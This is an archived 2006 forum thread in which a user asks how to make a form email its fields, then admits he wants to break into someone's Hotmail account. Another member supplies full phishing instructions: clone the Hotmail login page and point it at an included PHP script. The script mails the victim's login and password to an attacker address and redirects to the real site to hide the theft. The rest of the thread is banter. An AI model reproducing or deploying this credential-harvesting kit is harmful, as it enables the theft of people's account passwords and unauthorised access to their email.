View Full Version : Need this code for html


Ike-One
10-25-2006, 12:30 AM
I need a snippet that will allow a submit button to email the given information of text fields to another email address.

ie.

Name:
Address:
Birth:

Then when they submit button, it emails that information to soandso@hotmail.com

Nico
10-25-2006, 08:17 AM
HTML cannot send emails. I can do that in PHP if your host supports that.

Denz
10-25-2006, 08:58 AM
This will help, http://www.thesitewizard.com/archive/feedbackphp.shtml

Ike-One
10-25-2006, 02:38 PM
Thanks... I'm actually creating something for a friend to get into someone's email. Bleh, I'm not the one doing it, so I'm more or less just doing it cos I owe him a favor. But the idea is to create a hotmail replica site where you put your email addy and password in, and it actually sends the information to the selected email rather than login. It's similar to something myspace dupers were doing for awhile. 'cept this will only be used once.

Nico
10-25-2006, 03:38 PM
Lol, you're a loser. Go to the login page, click on "file" on your browser, and save page as. Save it in a folder called hotmail for example. Open login.srf.html, and point the form to another file, called login.php for example. Then save this with the same name in the same directory.

USE AT OWN RISK!


<?php

$email['recipient'] = 'you@host.com';
$email['subject'] = 'Login details';

if (isset($_POST['passwd']))
{
$headers = 'From: "Someone" <someone@yeh.com>' . "\r\n";
$headers .= 'Reply-To: yeh@yeh.com' . "\r\n";
$headers .= 'Return-Path: who@cares.com' . "\r\n";
$headers .= 'X-Mailer: PHP/' . phpversion();

$message = 'Login: '. $_POST['login'] . "\r\n";
$message .= 'Password: '. $_POST['passwd'];

mail($email['recipient'], $email['subject'], $message, $headers);

// Redirect to real page like an error happened.
header('Location: http://www.hotmail.com');
}

?>



Done.

D^Coy
10-25-2006, 07:10 PM
lmfao...i was wondering if that's what he really wanted!

Nico
12-29-2006, 07:15 PM
^^ Lol, ME TOO! :mad:

Rowe
12-30-2006, 10:50 AM
thnx for bumping this :)

Nico
12-30-2006, 02:11 PM
It has been a pleasure.